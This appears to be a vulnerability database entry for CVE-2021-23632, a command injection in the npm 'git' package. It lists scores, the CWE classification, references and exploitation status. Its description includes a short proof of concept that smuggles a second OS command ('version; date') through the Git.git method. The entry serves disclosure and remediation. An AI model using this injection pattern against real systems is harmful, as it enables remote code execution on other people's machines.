SecurityContext

CVE-2021-23632: Git - Command Injection

  • Cve: CVE-2021-23632
  • Name: Git - Command Injection
  • Description: All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.
  • Impact: Attackers can execute arbitrary OS commands remotely, leading to full system compromise or data breach.
  • Remediation: Update to the latest version of the package where the vulnerability is fixed or apply patches that sanitize input in the Git.git method.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • Severity: critical
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.0235
  • Epss percentile: 0.84122
  • Assignee: [email protected]
  • Published at: 2022-03-17T12:15:07Z
  • Age in days: 1713
  • Modified at: 2026-06-17T03:38:50Z
  • Public exploits total: 1
  • References total: 1
  • Products total: 1
  • Oss: yes
  • Projects total: 1
  • Advisory url: https://nvd.nist.gov/vuln/detail/CVE-2021-23632
  • Nvd status: modified
  • Checked, none or zero: patch available, known exploited entries, nuclei templates, public exploits capped, rejected by nvd
  • Not known: requirements, hackerone

Cwe

IdName
CWE-78Improper Neutralization of Special Elements used in an OS Command

Public exploits

UrlSourceAdded date
https://snyk.io/vuln/SNYK-JS-GIT-1568518nvd2022-03-17

References

UrlSourceTags
https://snyk.io/vuln/SNYK-JS-GIT-1568518nvdExploit, Third Party Advisory

Products

ProductAffectedPlatform boundSourcesUrl
git_project:git<= 0.1.5nonvd/v1/products/git_project/git

Projects

RepositoryLink kindsIndexedUrl
git/gitproductyes/v1/repositories/git/git

Index

  • Repositories: 1
  • Packages: 1
  • Checked, none or zero: repositories high signal

Exploitation

  • Public exploit: yes
  • Public exploit count: 1
  • Public exploit first date: 2022-03-17
  • Remote: yes
  • Checked, none or zero: known exploited, known exploited by, exploitation seen, initial access, authentication required
  • Not known: known exploited since, vulncheck known exploited since, nuclei template, initial access since, hackerone reports, exposed hosts